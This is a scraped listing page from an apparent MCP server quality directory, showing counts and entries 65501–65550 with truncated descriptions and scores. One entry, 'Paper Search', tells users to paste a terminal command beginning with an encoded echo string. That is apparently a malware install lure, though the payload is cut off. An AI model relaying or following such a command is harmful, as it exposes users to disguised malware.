MCP Server Quality Scores

Independent quality analysis of 66105 public MCP servers

66105
Discovered
31533
Scored
2112
Verified
16953
Complete

Last updated 4 minutes ago

Grade Distribution

Score Distribution

# Server Score ↓ Visibility Schema Protocol Reliability Maint. Security Agent Lang
○ Unscored
65501
shuizhengqi1
A Model Context Protocol server that integrates Futu OpenAPI, enabling AI model…
N/A N/A
65502
nadohq
nado-mcp Claim
MCP server for the Nado Protocol on the Ink blockchain, enabling AI assistants …
N/A N/A
65503
edwin45168899
weather Claim
Enables Claude to fetch real-time weather data for any city using the OpenWeath…
N/A N/A
65504
koosoftware
Enables querying pre-built Metabase cards for QMSCloud reporting, allowing retr…
65505
Elioz404
Indexes a workspace and exposes code-navigation tools to Codex, enabling symbol…
N/A N/A
65506
stedwick
MCP server for Codecov that provides tools to get commit coverage totals and pr…
65507
Steffen-W
MCP server for accessing and searching German federal law documents from gesetz…
N/A N/A
65508
Abdul0000
Enables ChatGPT to interact with Odoo by providing tools for repository managem…
65509
ThoBustos
Quizz MCP Claim
Enables Claude to generate interactive quizzes from conversations to test under…
N/A N/A
65510
fl0w1nd
repomap-mcp Claim
An MCP server that generates ranked, token-budgeted code structure maps using T…
N/A N/A
65511
sushobhitrajan
An educational MCP server demonstrating tools, resources, and prompts for learn…
N/A N/A
65512
ehs208
Unofficial MCP server for accessing and managing TimeTree calendar data, includ…
65513
cstillick
who_reps-mcp Claim
Given a U.S. street address, returns the people who represent it (U.S. Senators…
65514
winLee1118
A local MCP service for safely preparing, validating, and executing multi-platf…
N/A N/A
65515
MissYueshuang
Enables scraping LLM inference pricing from websites like Cloudrift, DeepInfra,…
N/A N/A
65516
zickat
Analyzes World of Warcraft TBC Classic character gear and talents in real time,…
N/A N/A
65517
ciulla
A local MCP server that indexes codebases using Tree-sitter AST parsing and Lan…
N/A N/A
65518
agenticledger
Enables AI assistants to query the Canton Network blockchain explorer through t…
81
65519
KerryanOPMace
Enables searching companies in the SIRENE database using SIREN, SIRET, or compa…
65520
Darkflib
MCP server that provides standardized tools for querying and retrieving notes f…
65521
stemado
MCP server for browser automation with anti-detection. Scout pages, find elemen…
N/A N/A
65522
cloud-ru-tech
Lets AI assistants read, search, and post messages in Mattermost channels, mana…
65523
yeshello-app
YesHello Claim
Digital business cards, lead capture forms, and service listings - built and ma…
65524
naranmunkh
Exposes the Timely.mn v3 time-attendance API as MCP tools for Claude and other …
65525
holger1411
A lean Model Context Protocol (MCP) server that gives AI assistants like Claude…
65526
AI-Product-Allen-Yu
Enables store operations including inventory and sales queries and automated re…
65527
spyduck007
Containerized MCP server for coding agents with tools for file editing, shell c…
N/A N/A
65528
84emllc
Enables managing UptimeRobot monitors, alert contacts, and maintenance windows …
N/A N/A
65529
AiAgentKarl
Local document intelligence for AI agents — extract text, detect tables, read m…
N/A N/A
65530
wrik0
A hardened, safety-first Google Calendar MCP server enabling AI agents to read …
N/A N/A
65531
ezhuk
A lightweight MCP server that connects LLM agents to BACnet devices for buildin…
65532
@kirandk
vsf123 Claim
N/A N/A 95
65533
L-Chris
weflow-mcp Claim
Enables to access and manage WeChat data (sessions, contacts, Moments) through …
N/A N/A
65534
ascii766164696D
log-mcp Claim
MCP server for log file analysis. Gives LLMs the ability to efficiently analyze…
N/A N/A
65535
MCP-Mirror
Provides specialized backup and restoration capabilities for AI agents and code…
N/A N/A 95
65536
withLinda
Enables debugging of web applications by connecting Claude to Chrome's develope…
N/A N/A
65537
papersearch
Paper Search Claim
Important! To install, open the MacOS terminal and enter the command: echo 'L2…
65538
eery1677-lab
capcut-mcp Claim
An MCP server that enables AI assistants to automate CapCut Pro video editing, …
65539
uudam42
Provides coding agents with persistent, evidence-backed project memory and know…
N/A N/A
65540
taejin5314
ikea-mcp Claim
Read-only MCP server for IKEA product search and in-store stock lookup.
65541
nerin81-netizen
Enables searching arXiv papers in Korean, Chinese, Japanese, or English and sav…
N/A N/A
65542
navin2031992
Enables interaction with IntelliMatch recruiting and iSuite insurance systems t…
65543
croakingtoad
Automates Cole Medin's context engineering methodology to generate high-quality…
N/A N/A
65544
amovfx
MCP server for JIRA integration enabling issue management, search, comments, an…
65545
arisloth
Enables fetching live crypto market data from Binance, Bybit, and Hyperliquid v…
65546
twkim1122
Reviews MCP servers for quality, security, and best practices, providing scores…
N/A N/A
65547
lilycip
obra-cfo Claim
Local-first MCP that runs an investment committee on your pitch and scores fund…
N/A N/A
65548
drumbeats-io
MCP server for Drumbeats monitoring. Enables creating monitors, triaging incide…
65549
Hoopshaker
MCP server for TheHive that enables AI agents to manage cases, alerts, observab…
65550
Amit-confer
Enables interaction with Gmail through the Gmail API, allowing users to list, r…
81
Showing 65501–65550 of 66105 servers